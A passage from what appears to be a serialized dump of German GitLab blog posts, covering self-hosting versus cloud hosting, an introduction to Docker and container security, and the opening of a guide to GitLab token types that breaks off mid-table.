aus. Gegenüber dem On-Premise-Modell ist die Cloud meist weniger flexibel im Hinblick auf individuelle Lösungen. Die meisten seiner Vorzüge zieht dieses Konzept schließlich gerade daraus, dass es auf breiter Basis und für nahezu alle Anwender funktioniert. Sonderwünsche können dabei eher selten berücksichtigt werden. In der Regel spielt das auch keine Rolle. Für alle, deren Ansprüche im Hinblick auf die Funktionalität über den üblichen Standard hinausgehen, werden Clouds aber nicht zufriedenstellend sein.\nAuch das Thema Sicherheit ist ein zweischneidiges Schwert. Hier geht nichts über einen perfekt eingerichteten, von Experten betreuten und stets aktualisierten On-Premise-Server. Demgegenüber besteht bei Cloud-Anbieter(inne)n stets die Gefahr, dass die Server nicht mit der besten Software ausgerüstet sind und somit Sicherheitslücken entstehen, durch die Daten kompromittiert werden können.\nAndererseits muss festgehalten werden: Sicherheitslücken entstehen auch beim Self-Hosting und das Aufrechterhalten der höchsten Standards ist sehr teuer. Viele Hoster wiederum haben in den letzten Jahren ihr Bemühen um höchste Security-Leistungen erhöht und beauftragen externe Dienstleister, um diese zu zertifizieren. So nähern sich die Levels der beiden Bereiche, Cloud- vs. Self-Hosting, einander an.\n\n## Public Cloud: Das Beste beider Welten?\n\nViele Vorzüge eines Modells lassen sich nicht oder nur sehr schwer auf das andere übertragen. So standen viele Firmen vor dem Dilemma, sich für einen Ansatz zu entscheiden, dabei aber auf die Vorteile des anderen verzichten zu müssen.\n\nDie Public Cloud ist der Versuch, Self-Hosting und Cloud-Hosting miteinander zu verschmelzen. Hierbei werden deine Daten auf Servern eines externen Anbieters untergebracht. Doch werden dabei jeweils komplette Hardware-Bereiche exklusiv für dich reserviert. Das bedeutet, dass auf den Rechnern, auf denen deine Webanwendungen betrieben werden, keine Daten weiterer Unternehmen liegen. Die Daten sind somit physisch und auch sicherheitstechnisch getrennt.\n\nSo wird die Sicherheit beträchtlich erhöht und nähert sich weiter dem On-Premise-Niveau an. Sie ist teurer als Cloud-Pakete, aber in der Regel günstiger als eine Self-hosted-Cloud. Unter anderem, weil du nur für genau die Ressourcen bezahlst, die du auch tatsächlich verwendest. Die Skalierbarkeit ist ebenso einfach möglich wie bei einer Cloud, wenngleich du mit gewissen Einschränkungen in Hinblick auf die Bereitstellung rechnen musst. Oftmals kannst du Sonderwünsche sogar in Absprache mit Dienstleister(innen) äußern und umsetzen.\n\nIst die Public Cloud somit die perfekte Lösung? Das wäre eine wohl zu allgemeine Aussage, denn für die meisten wird bereits der deutlich höhere Preis dieses Konzepts ein Ausschlusskriterium darstellen. Darüber hinaus ist in der Public Cloud nicht immer die Übernahme aller Wartungsmaßnahmen und Aktualisierungen im Paket inbegriffen. Solltest du diese Aspekte selbst übernehmen müssen, entsteht letzten Endes derselbe Aufwand wie bei einem Self-Hosting-Modell.\n\n## FAQ\n\n### Was ist GitLab Pages und wie unterstützt es mein Hosting?\n\nGitLab [Pages](https://docs.gitlab.com/ee/user/project/pages/) ist eine Funktionalität, die es dir erlaubt, statische Websites direkt über GitLab zu hosten. Das bedeutet, dass du die Website im Repository anlegen, bearbeiten und anschließend veröffentlichen kannst. Hierbei fallen keine weiteren Zwischenschritte an und die Wahrscheinlichkeit für Fehler sinkt.\n\nDer größte Pluspunkt besteht darin, dass du unmittelbar von allen CI/CD-Funktionalitäten, darunter beispielsweise der ständigen Versionskontrolle, Gebrauch machen, sowie Änderungen direkt aus dem Repository vornehmen kannst. Auch ein Rollback auf die vorige Version gestaltet sich als extrem unkompliziert. Bei der Nutzung von GitLab Pages entstehen zudem keine zusätzlichen Kosten.\n\n### Ist Self-Hosting sicherer als Cloud-Hosting?\n\nDie meisten Experten schätzen ein Self-Hosting-Modell als __die sicherste Option__ ein. Dies erklärt sich dadurch, dass du als Server-Betreiber die höchsten Standards setzen und einhalten kannst, die Chancen für einen unrechtmäßigen Zugriff auf die Daten sinken und individuelle Sicherheitspakete zusammengestellt werden können, die speziell auf deine Bedürfnisse zugeschnitten sind.\n\nAllerdings gilt dieser Vorteil nur, wenn das Hosting von erfahrenen Mitarbeiter(innen) übernommen wird. Diese müssen zudem über ausreichend zeitliche Reserven verfügen, um das System stets auf dem neuesten Stand zu halten und bei eventuellen Aus- oder Zwischenfällen unmittelbar eine Problemlösung durchzuführen. Ein wichtiger Punkt bei der Entscheidung über das für dich richtige Hosting ist oftmals die Frage nach der Einhaltung gewisser rechtlicher Vorgaben. Hier solltest du genau prüfen, ob dein Cloud-Anbieter die erforderlichen Kriterien erfüllen kann.\n",[2014,765],"cloud native",{"slug":2016,"featured":6,"template":682},"self-hosting-vs-cloud","content:de-de:blog:self-hosting-vs-cloud.yml","Self Hosting Vs Cloud","de-de/blog/self-hosting-vs-cloud.yml","de-de/blog/self-hosting-vs-cloud",{"_path":2022,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2023,"content":2029,"config":2034,"_id":2036,"_type":16,"title":2037,"_source":17,"_file":2038,"_stem":2039,"_extension":20},"/de-de/blog/what-is-docker",{"title":2024,"description":2025,"ogTitle":2024,"ogDescription":2025,"noIndex":6,"ogImage":2026,"ogUrl":2027,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2027,"schema":2028},"So optimierst du mit Docker und GitLab deinen DevOps-Prozess","Docker Container bieten deinem Team mehr Raum für Kollaboration, kontinuierliche Integration und Kreativität. Wir zeigen dir, wie die Umsetzung klappt.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664248/Blog/Hero%20Images/AdobeStock_564261524.jpg","https://about.gitlab.com/blog/what is docker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So optimierst du mit Docker und GitLab deinen DevOps-Prozess\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-02-27\",\n      }",{"title":2024,"description":2025,"authors":2030,"heroImage":2026,"date":1992,"body":2031,"category":1033,"tags":2032},[701],"# So optimierst du mit Docker und GitLab deinen DevOps-Prozess\n\nIn wenigen Jahren hat sich Docker zu einem globalen Standard entwickelt. Laut aktuellen Statistiken liegt sein Marktanteil in der Containerisierung bei über [80 %](https://6sense.com/tech/containerization/docker-market-share); fast 50 % aller Entwickler(innen) nutzen Docker; und zum Zeitpunkt des Verkaufs des Unternehmens an Mirantis [schätzte man die Zahl seiner Nutzer auf 15 Millionen weltweit](https://cloudnativenow-com.translate.goog/features/docker-inc-dev-tools-boast-15-million-users/?_x_tr_sl=en&_x_tr_tl=de&_x_tr_hl=de&_x_tr_pto=rq). Wenn du im DevOps-Bereich tätig bist, kommst du um Docker somit nicht herum.\n\nDie Vorteile von Docker sprechen für sich. Gegenüber der früher dominanten Virtualisierung läuft es sowohl stabiler als auch schneller. Es unterstützt die Kernziele von [DevOps](https://about.gitlab.com/de-de/topics/devops/), erhöht signifikant die Transparenz eines Projekts und spart Ressourcen ein.\nEntwickler(innen), die mit GitLab arbeiten, können aufgrund einer nahtlosen Integration Docker-Container für sich nutzen. Gleichzeitig gleicht GitLab einige der Nachteile, die bei der Verwendung von Docker auftreten können, aus. Diese enge Verzahnung optimiert die Vorteile beider Anwendungen und bringt deinen DevOps-Prozess weiter nach vorne.\nIn diesem Artikel zeigen wir dir, wie das funktioniert und wie du Docker und GitLab am besten miteinander kombinierst. Aber fangen wir mit einer kurzen Definition an.\n\n## Was ist Docker?\n\nDocker ist eine Plattform zur Containerisierung. Dahinter steht ein neuer Ansatz, über Anwendungen nachzudenken.\nIn der traditionellen „monolithischen” Sichtweise ist das Programm wie eine Art Geschichte angelegt, mit einem Anfang, einem Ende und einer stringenten inneren Logik. Weil alle Funktionen geteilten Annahmen unterworfen sind, lassen sich einzelne Komponenten nur schwer voneinander trennen und ausgliedern.\nBei Docker bildet jede logische Funktion eines Programms eine eigenständige Anwendung, die für sich steht und isoliert ausgeführt werden kann. Dieser Ansatz ist eher modular, die einzelnen Anwendungen können in immer neuen Kombinationen zusammengesetzt und miteinander verzahnt werden. Man könnte sagen: Docker ist kybernetisch, weil es von Systemen, Regelkreisen und Kontrollmechanismen bestimmt wird.\nDocker-Container enthalten alles, was eine Anwendung zur Ausführung benötigt. Mit Docker kannst du Container definieren und anlegen, im Rahmen der Entwicklung plattformunabhängig testen und verbessern und unkompliziert ausliefern.\nDank seiner führenden Rolle ist Docker zu einem Synonym für Containerisierung geworden. Lange bevor Docker aber den Entwicklungsprozess revolutionierte, nutzten DevOps-Teams einen sehr ähnlichen Ansatz namens Virtualisierung.\n\n## Virtualisierung: Die Vorstufe der Containerisierung\n\nDer Grundgedanke der Virtualisierung stammt bereits aus den 1960ern, als IBM an Lösungen arbeitete, die es Anwendern ermöglichen sollten, auf nur einem Rechner mehrere Betriebssysteme laufen zu lassen. Virtualisierung in DevOps nimmt diesen Gedanken zum Ausgangspunkt dafür, Programme so anzulegen und zu verpacken, dass sie unabhängig von den spezifischen Gegebenheiten des Hosts laufen.\n\nJede dieser „virtuellen Maschinen” (VM) bringt alle Anwendungen mit, die für die Ausführung benötigt werden, einschließlich eines eigenen Betriebssystems. Damit können Projektteilnehmer(innen) die Anwendung nutzen, ohne sich mit Kompatibilitätsproblemen auseinandersetzen zu müssen.\n\nVirtuelle Maschinen sind extrem stabil, sicher und werden auch heute noch in vielen Bereichen bevorzugt genutzt. Allerdings haben sie zwei Nachteile:\n\n- Das in jeder VM enthaltene Betriebssystem belastet den Speicher und beeinträchtigt die Systemleistung des Hosts.\n- Der„Hypervisor” einer VM, der für den Betrieb benötigt wird, Ressourcen. Docker ist kein Ersatz für virtuelle Maschinen. Es soll sie vielmehr optimieren und ihre Nachteile so weit wie möglich beseitigen.\n\n## Wie Docker die Nachteile virtueller Maschinen ausgleicht\n\nContainer sind virtuellen Maschinen sehr ähnlich, betonen aber den Aspekt der Isolation über den der Autonomie (wir werden darauf noch genauer eingehen). In ihnen sind ebenfalls alle relevanten Daten und Apps enthalten. Das ermöglicht eine Ausführung unabhängig vom Host-Betriebssystem. Der Unterschied zur Virtualisierung besteht darin, dass Docker-Container kein eigenes Betriebssystem enthalten. Sie teilen sich stattdessen den Kernel des Hosts. Das ist effizienter, schont Systemressourcen und macht Container vor allem weitaus schneller als VM.\n\nDie Vorzüge von Docker waren derart offensichtlich, dass es einen rasanten Aufstieg durchmachte. 2013 veröffentlicht, wurde es ein Jahr später Teil der Pakete von Red Hat Enterprise Linux 7.0 und openSUSE. Die Beliebtheit von Docker war zu diesem Zeitpunkt bereits so stark angewachsen, dass sich einige der größten IT-Unternehmen der Welt zusammenschlossen, um ein System zu entwickeln, mit dem sich Docker-Container besser verwalten lassen sollten. Das daraus entstandene [Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/) wird bis heute zur Orchestrierung (Verwaltung) von Containern verwendet.\n\n## Docker: Grundbegriffe\n\nDas Grundkonzept von Docker Containern ist die „Isolation”. Dieses Prinzip unterscheidet sie von den grundsätzlich sehr ähnlichen virtuellen Maschinen.\nVirtuelle Maschinen bilden ein eigenständiges System, das auf keine äußeren Ressourcen angewiesen ist. Container isolieren zwar ebenfalls den größten Teil ihrer Prozesse und Anwendungen, teilen sich aber mit dem Host den Kernel. Es mag so scheinen, als seien diese Unterschiede zwischen den beiden Begriffen eher gering. In der Praxis aber können sie recht große Konsequenzen haben.\n\nDer Lebenszyklus von Docker-Containern beginnt mit sogenannten „Images”. Was ist ein Docker-Image? In ihm ist gewissermaßen der „Bauplan” (oder auch das „Rezept”) enthalten, wie die ausführbaren Docker-Container zusammengestellt werden sollen. Entwickler(innen) „schreiben” den Bauplan in ein Docker-File, zu dem sie Informationen in Schichten („Layern”) sowie die erforderlichen Daten hinzufügen. Eine der entscheidenden Eigenschaften von Docker besteht darin, dass es ein Standardformat für diese Images bereitstellt.\n\nImages werden in der „Registry\" gespeichert und verwaltet. Hier können Änderungen der verschiedenen Versionen nachvollzogen werden, die ein Image bis zum heutigen Stand durchlaufen hat. GitLab bietet ebenfalls eine solche Registry an, von der aus du deine Programme direkt testen und optimieren kannst. Sobald ein Docker-Image mittels seiner Runtime zur Ausführung kommt, entsteht ein Container. Container sind somit das aktivierte Gegenstück eines Images. Sie sind sofort lauffähig und müssen nicht erst „hochgefahren” werden.\n\n## Wie funktioniert Docker im Rahmen von DevOps?\n\nGeschwindigkeit und Effizienz sind zweifelsohne wichtige Aspekte in allen Wirtschaftsbereichen. Im DevOps aber sind sie geradezu essenziell. Dies erklärt die besonders hohe Wertschätzung, die Docker in der Entwicklung genießt. Doch enden die Stärken von Docker dort nicht. Vielmehr kann die Containerisierung alle zentralen Aspekte von DevOps unterstützen:\n\n- Kollaboration: Container können auf jedem Rechner mit denselben Funktionalitäten gestartet werden. Das reduziert Probleme bei der plattformübergreifenden Zusammenarbeit, auch innerhalb eines Teams.\n\n- Kontinuierliche Verbesserung: Als Teil der Kollaboration können immer wieder sehr einfach neue Images geschrieben und neue Container generiert werden, die Optimierungen enthalten. So wird der Prozess der kontinuierlichen Verbesserung deutlich vereinfacht.\n\n- Kundenorientierung: Weil Docker-Container einfach und schnell auf allen Systemen laufen, kann der aktulle Stand eines Projekts jederzeit mit den Kund(inn)en geteilt werden. Damit kann man sich immer wieder wertvolles Feedback holen und das Produkt voll und ganz auf die Kundenwünsche ausrichten.\n\n- Lernen aus Fehlern: Einen Fehler in einer Entwicklungsumgebung zu beheben, war früher aufwändig und komplex. Mit Docker hingegen werden diese Änderungen zu einem selbstverständlichen Teil des Prozesses. Dies führt zu einer Arbeitsphilosophie, bei der mehr ausprobiert werden darf, neue Ideen stets willkommen sind und das Projekt durch Fehler gewinnt, statt durch sie aufgehalten zu werden.\n\n## DevSecOps: Wie sicher sind Docker-Container?\n\nContainer opfern gegenüber virtuellen Maschinen ein wenig Sicherheit zugunsten einer besseren Performance. Virtuelle Maschinen sind dank ihres mitgelieferten Betriebssystems vollständig unabhängig vom Host. Docker allerdings teilt sich den Kernel. Das bedeutet in Hinblick auf die Sicherheit, dass:\n\n- Sicherheitslücken im Kernel auch Auswirkungen auf die Container des Hosts haben können.\n- Sicherheitsprobleme mit einem Container auf alle Container übergreifen können.\n- Sicherheitslücken im Kernel das gesamte Host-System infizieren können - und von dort aus dann die Container.\n\nHinzu kommt, dass es bei Docker mehrere potentielle Stellen für Sicherheitsrisiken gibt. So gibt es nicht nur ein einziges Image, sondern mehrere Instanzen, den Docker-Daemon (der im Hintergrund die Anfragen an Docker verarbeitet), die Cloud in der der Server gehostet wird sowie verschiedene Netzwerke, welche die Kommunikation zwischen den Containern orchestrieren. Im Prinzip muss jede dieser potenziellen Schwachpunkte individuell gesichert werden.\n\n## Wie du die Sicherheit von Docker verbessern kannst\n\nZum Glück gibt es einige einfach umzusetzende Punkte, mit denen du den Einsatz von Docker in deinen Entwicklungsprojekten vor Eingriffen schützen kannst:\n\nNutze die Möglichkeit, Ressourcen zu beschränken. Mit der „Ressource Quota” schränkst du den Zugriff auf Speicher und CPU gezielt ein. Das ist bereits deswegen sinnvoll, da es die Performance des gesamten Container-Systems optimiert. Darüber hinaus blockiert es auch die Möglichkeit, dass ein „infizierter” Container die gesamte Systemleistung reduziert.\n\nVermeide es, die Zugriffsrechte zu umgehen, indem du einen Container als „root” laufen lässt. Das mag in manchen Situationen zwar komfortabler sein, sobald du aber geschützte Testumgebungen verlässt und kollektiv an einem Projekt arbeitest, solltest du der Datensicherheit stets oberste Priorität zuweisen. Stelle sicher, dass deine Registry ausreichend gesichert ist.\nUm die Sicherheit deiner Projekte weiter zu erhöhen, bietet sich GitLab als ein hervorragendes Instrument an, um Container im Rahmen von DevSecOps sicherer zu machen.\n\n## Welche Rolle spielt Docker für GitLabs DevSecOps-Funktionalität?\n\nSicherheitsaspekte spielen für GitLab eine zentrale Rolle: Der Schutz deiner Daten ist nicht von der Entwicklung zu trennen, sowohl was die Arbeit innerhalb des Teams angeht, als auch die Absprache und kontinuierliche Verbesserung mit Kund(inn)en. GitLab nutzt Docker-Container, um diesen Schutz jederzeit zu gewährleisten.\n\nEine der zentralen Funktionen von GitLab ist das [Container-Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/). Es basiert auf dem Gedanken, dass Sicherheits-Schwachpunkte bereits im Docker-Image ihren Ursprung haben können, oft in der Form von Abhängigkeiten, die du nicht selbst geschrieben hast, sondern aus externen Quellen importierst. Du kannst entweder nur die Container scannen oder die Abhängigkeiten - wobei wir dir für optimalen Schutz stets beides empfehlen.\n\nAuf einer noch grundlegenderen Ebene unterstützen selbstverständlich auch die allgemeinen Sicherheits-Features von GitLab die Verwendung von Docker-Images und Docker-Containern. Eine zentrale Funktion ist beispielsweise Auto-Remediation, eine intelligente kollaborative Anwendung, die dir bereits beim Entwickeln Vorschläge zur Fehlervermeidung und zu effizienterem Code macht.\n\n## 3 Docker Herausforderungen und wie GitLab bei der Lösung hilft\n\nDocker ist ein bestechendes Konzept, das die Arbeit für Millionen Entwickler(innen) täglich besser und einfacher macht. Seine Flexibilität und Individualisierung aber stellen Nutzer(innen) zugleich vor einige Herausforderungen.\nSehen wir uns drei zentrale Herausforderungen näher an - und wie GitLab dabei helfen kann, sie zu bewältigen.\n### Standardisierung:\n\nDocker ist ein offenes Konzept, das Entwickler(innen) höchst individuelle Lösungswege eröffnet. Wenn aber in Teams verschiedene Mitglieder an einem Projekt arbeiten und dabei sehr unterschiedliche Coding-Stile benutzen oder teilweise sogar widersprüchliche Anweisungen geben, kann es zu Konflikten kommen.\n\nGitLab bietet Standardisierungsoptionen an, beispielsweise durch [CI/CD-Templates](https://docs.gitlab.com/ee/ci/examples/), mit denen das gesamte DevOps-Team arbeiten kann. Shared Runners ermöglichen anschließend das Testen des aktuellen Standes in einer von dir vorgegebenen oder standardisierten Umgebung.\nAll dies ist gerade bei großen Projekten eine unermessliche Hilfe, da dabei bis zu tausende Container gleichzeitig miteinander abgestimmt werden müssen.\n\n### Ressourcenoptimierung:\n\nDocker Container nutzen Ressourcen in der Regel weitaus schonender als virtuelle Maschinen. Wie oben angesprochen kann sich die Gesamtzahl aller Container aber zu riesigen Zahlen summieren.\nMit verschiedenen Funktionen sorgt GitLab dafür, dass gerade speicherintensive Jobs optimiert- und gewisse Container zeitweise deaktiviert werden, um die Systemleistung zu verbessern.\n\n### Orchestrierung:\n\nDas wichtigste Thema in der Containerisierung ist heute zweifelsohne die Orchestrierung. Wenn du sehr viele Container nutzt, die zusammen mit den Anwendungen auf verschiedenen Servern untergebracht sind und zu unterschiedlichen Zeiten und in immer neuen Konstellationen miteinander kombiniert werden sollen, kommt es leicht zu Engpässen, Ausfällen oder Fehlern.\nKubernetes ist die komplexe Lösung für diese Probleme und GitLab ist direkt mit Kubernetes abgestimmt. Du kannst mit GitLab und Kubernetes die gesamte [CI/CD](https://about.gitlab.com/topics/ci-cd/)-Pipeline automatisieren und dabei dein System optimieren.\n\n## FAQ\n\n### Was ist Docker Compose?\n\nDocker Compose ist ein Tool, das dir bei der Orchestrierung hilft. Es findet in Multi-Container-Umgebungen Anwendung. In diesem Artikel haben wir bisher angenommen, dass eine Anwendung einem Container entspricht. Das ist zur Erklärung der grundlegenden Zusammenhänge sinnvoll. In der Praxis aber ergeben sich zumeist weitaus komplexere Sachverhalte.\n\nEin typischer Fall besteht darin, dass eine Anwendung mehrere Container benötigt, die zu unterschiedlichen Zeitpunkten gestartet und beendet werden. Diesen Ablauf präzise zu definieren sowie dabei die einzelnen Container-Aktionen aufeinander abzustimmen und im Rahmen eventueller Fehler oder Probleme zu optimieren, erweist sich als komplex. Wie [Data Scientist](https://datascientest.com/de/docker-compose-von-der-installation-bis-zur-bereitstellung-von-anwendungen) betont, liegt die Schwierigkeit darin, die verschiedenen Container „separat auszuführen, während sie gleichzeitig miteinander kommunizieren.”\n\n[Docker Compose](https://forum.gitlab.com/t/how-to-use-docker-compose-in-gitlab-ci/97671) unterstützt die Orchestrierung bei genau diesen Szenarien. Entwickler(innen) können in einer speziellen Datei mit einer laut [Heise](https://www.heise.de/hintergrund/Multi-Tier-Applikationen-mit-Docker-Compose-Machine-und-Swarm-3014669.html?seite=3) „simplen Syntax” alle Aktionen festlegen, die beim Aufbau und der Interaktion der Container zum Tragen kommen. Zurecht gilt Docker Compose deswegen als „ein mächtiges Werkzeug für den Einsatz und die Verwaltung von Multi-Container-Anwendungen”.\n\n### Wie funktioniert die Continuous Integration von Docker in GitLab?\n\nDocker wirkt sich positiv auf alle drei Prinzipien von CI/CD aus, vom kontinuierlichen Deployment bis hin zur kontinuierlichen Lieferung (delivery). Bei der kontinuierlichen Integration aber (Continuous Integration) sind die Vorteile ganz besonders offensichtlich.\nBei der Continuous Integration (CI) werden sämtliche branches (Enwticklungszweige) so oft wie möglich mit der main branch (dem Hauptentwicklungszweig) zusammengeführt. Dadurch haben alle Mitglieder eines Teams stets Zugriff auf den aktuellen Stand des Projekts und eine Änderung an einem Teil der Anwendung kann direkt auf seine Auswirkungen auf andere Bereiche hin überprüft werden. So wird vermieden, dass möglicherweise schwerwiegende Fehler im Zusammenspiel erst kurz vor Veröffentlichung des Produkts entdeckt werden.\n\nContainer sind das optimale Instrument, um Continuous Integration in deiner CI/CD-Pipeline zu realisieren. In ihrer containerisierten Form können Anwendungen schnell und in verschiedenen Umgebungen getestet werden. Das Feedback lässt sich unmittelbar auswerten und bewerten. Anschließend machst du Änderungen für alle branches durch das Definieren eines neuen, aktualisierten Images sichtbar und überprüfbar.\nZusammenfassend lässt sich sagen, dass Container die Integration im CI/CD-Prozess robuster und zuverlässiger gestalten und somit die Basis für erfolgreiches Deployment und Delivery bereiten.\n\n### Wann empfiehlt es sich, mit virtuellen Maschinen zu arbeiten statt mit Docker?\n\nDocker ist eine Weiterentwicklung virtueller Maschinen. Daraus sollte aber nicht der Schluss gezogen werden, dass es sich bei VM um eine veraltete oder gar überholte Technologie handelt. Vielmehr bleiben die Vorzüge dieses Modells auch in Zukunft bestehen.\n[Computer Weekly](https://www.computerweekly.com/de/ratgeber/Sechs-Anwendungsfaelle-fuer-die-sich-Docker-eignet) hat drei Situationen ermittelt, in denen Virtualisierung die bessere Option darstellt:\n\n__- Bei besonders sensiblen Daten:__ hier kann ein Höchstmaß an Isolierung erforderlich sein. Da sie mit dem Host in der Regel in keinem direkten Austausch stehen, sind virtuelle Maschinen hier zweifelsfrei die sicherste Wahl.\n\n__- Bei grafikintensiven Anwendungen__ lassen sich zwar grundsätzlich auch über Container verwenden, in der Regel aber ist Virtualisierung hier einfacher in der Handhabung.\n__In kleinen Teams__– wenn du nur selten Änderungen an deinen Anwendungen vornimmst, sind virtuelle Maschinen eine hervorragende Alternative, weil sie leichter zu verwalten sind.\n\n### Läuft Docker auch auf Windows und MacOs?\n\nDocker kann auf allen Hosts laufen, die Docker unterstützen. Tatsächlich aber ist die Plattform vor allem auf eine Linux-Nutzung hin optimiert.\nDie originäre Version von Docker ist so ausgelegt, dass sie die Funktionalitäten eines Linux-Kernels mit dem Host teilen kann. In diesem Umfeld funktionieren Container am effizientesten und die Vorteile der Containerisierung kommen voll zur Geltung.\n\nUm Docker auch für Windows und MacOs nutzbar zu machen, stehen entsprechende Docker-Versionen zur Verfügung. Diese aber geben das strenge Isolierungs-Prinzip auf und fügen eine virtuelle Maschine hinzu, welche eine Nutzung auf Linux-fremden Umgebungen erlaubt.\nAuch, wenn Docker unter Windows und MacOs nicht ganz so effizient ist wie unter Linux, ist die benötigte VM sehr leicht und schränkt Geschwindigkeit und Speicher nicht so stark ein wie eine vollständige virtuelle Maschine. Die gelegentliche Behauptung, Docker lasse sich nur unter Linux sinnvoll verwenden, ist deswegen zweifelsfrei sehr radikal.\n",[2033,913],"DevOps",{"slug":2035,"featured":6,"template":682},"what-is-docker","content:de-de:blog:what-is-docker.yml","What Is Docker","de-de/blog/what-is-docker.yml","de-de/blog/what-is-docker",{"_path":2041,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2042,"content":2048,"config":2054,"_id":2056,"_type":16,"title":2057,"_source":17,"_file":2058,"_stem":2059,"_extension":20},"/de-de/blog/the-ultimate-guide-to-token-management-at-gitlab",{"title":2043,"description":2044,"ogTitle":2043,"ogDescription":2044,"noIndex":6,"ogImage":2045,"ogUrl":2046,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2046,"schema":2047},"Der ultimative Leitfaden für die Token-Verwaltung mit GitLab","Erfahre Schritt für Schritt, wie du Token identifizierst, verwaltest und schützt, um die Sicherheit in deinem gesamten Software-Entwicklungsprozess zu verbessern.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Der ultimative Leitfaden für die Token-Verwaltung mit GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n        \"datePublished\": \"2025-02-25\",\n      }",{"title":2043,"description":2044,"authors":2049,"heroImage":2045,"date":2051,"body":2052,"category":765,"tags":2053},[2050],"Hakeem Abdul-Razak","2025-02-25","Stell dir Folgendes vor: Du bist Entwickler(in) in einem aufstrebenden Technologieunternehmen, es ist 2 Uhr morgens und du erhältst einen dringenden Anruf. Eine wichtige Bereitstellungs-Pipeline ist fehlgeschlagen und dein Team versucht, den Grund herauszufinden. Nach stundenlangem Suchen stellst du fest, dass jemand einen persönlichen Zugriffs-Token widerrufen hat, der zu einem bzw. einer Entwickler(in) gehörte, der bzw. die schon seit Wochen nicht mehr für das Unternehmen arbeitet. Dieser Token war an mehrere Automatisierungsprozesse gekoppelt, sodass jetzt dein gesamtes System im Chaos versunken ist. Wie stellst du sicher, dass so etwas nicht nochmals passiert?\n\nFolge dieser Anleitung und erfahre Schritt für Schritt, wie du mit GitLab Token identifizieren, verwalten und schützen kannst. Dies ist eine praktische Ergänzung zur umfassenden [Token-Übersichtsdokumentation](https://docs.gitlab.com/ee/security/tokens) für GitLab-Administrator(inn)en, Entwickler(innen) und Sicherheitsteams, die eine robuste Token-Verwaltung in ihren Projekten benötigen.\n\nIn diesem Leitfaden geht es um folgende Themen:\n- [Wie wählst du den richtigen Token für den Job aus?](#how-to-select-the-right-token-for-the-job)\n- [Token-Arten](#token-types)\n- [Entdecke deine Token](#discovering-your-tokens)\n    - [Credentials Inventory](#credentials-inventory)\n- [Token im GitLab-UI und in der API verwalten](#managing-tokens-in-the-gitlab-ui-and-api)\n- [Rotation der Token und Verwaltung von Ablaufdaten](#token-rotation-and-expiration-management)\n- [Best Practices für die Token-Verwaltung](#token-management-best-practices)\n    - [Dienstkonten](#service-accounts)\n\n## Wie wählst du den richtigen Token für den Job aus?\n\nMit der Auswahl des richtigen Tokens garantierst du die für deinen Anwendungsfall optimale Sicherheit und Funktionsfähigkeit.\nToken können zur Authentifizierung von API-Anfragen, zur Automatisierung von CI/CD-Pipelines, zur Integration von externen Tools, zur Verwaltung von Bereitstellungen und Repositories und für vieles mehr verwendet werden.\n\n![Leitfaden für die Token-Verwaltung – Flussdiagramm für Token](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nDer Einfachheit halber zeigt dieses Diagramm einen unkomplizierten Anwendungsfall, bei der nur ein(e) Benutzer(in) die Inhaberschaft hat. Weitere Informationen findest du in unsere Dokumentation zu Benutzerrollen und Berechtigungen in den einzelnen [Namensräumen](https://docs.gitlab.com/ee/user/permissions.html) (Benutzer(innen)/Gruppe) in deiner Instanz oder Hauptgruppe. Beispiele für Anwendungsfälle:\n\n- **Persönliche Zugriffs-Token** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) können von Entwickler(innen) verwendet werden, wenn für eine(n) Benutzer(in) persönlicher Zugriff und persönliche Berechtigungen nötig sind. In diesem Fall folgen die Anmeldeinformationen dem Status und den Berechtigungen des Benutzers bzw. der Benutzerin, einschließlich der Entfernung des Zugriffs, wenn das Konto den Zugriff auf ein bestimmtes Projekt oder eine bestimmte Gruppe verliert (oder vollständig gesperrt wird).   \n- **Projekt-/Gruppenzugriffs-Token** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token)/[GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) werden empfohlen, wenn der Zugriff auf Ressourcen in einem bestimmten Projekt oder einer bestimmten Gruppe eingeschränkt werden soll. Da diese PrAT/GrAT einem bestimmten Geltungsbereichen zugewiesen wurden, können alle auf die jeweils nötigen Ressourcen zugreifen.\n## Token-Arten\n\nUnten findest du eine Liste mit GitLab-Token und deren standardmäßigen Präfixen und Anwendungsfällen. Weitere Informationen findest du auf der [GitLab-Token-Übersichtsseite](https://docs.gitlab.com/ee/security/tokens/#available-scopes). \n\n| Token | Präfix | Beschreibung |\n| :---: | :---: | :---: |\n| Persönlicher Zugriffs-Token | glpat | Für den Zugriff auf benutzerspezifische Daten |\n| OAuth-2.0-Token |  gloas | Für die Integration mit externen Anwendungen über das OAuth2.0-Authentifizierungsprotokoll |\n| Imitations-Token | glpat | Für administrative Handlungen im Namen anderer Benutzer(innen) |\n| Projektzugriffs-Token | glpat | Für den Zugriff auf Daten eines bestimmten Projekts |\n| Gruppenzugriffs-Token | glpat | Für den Zugriff auf Daten einer bestimmten Gruppe |\n| Bereitstellungs-Token | gldt | Zum Klonen, Pushen und Pullen von Container-Registry-Images eines Projekts ohne Benutzer(in) und Passwort |\n| Bereitstellungsschlüssel | n.v. | Ermöglicht den Lese- oder Schreibzugriff auf deine Repositories |\n| 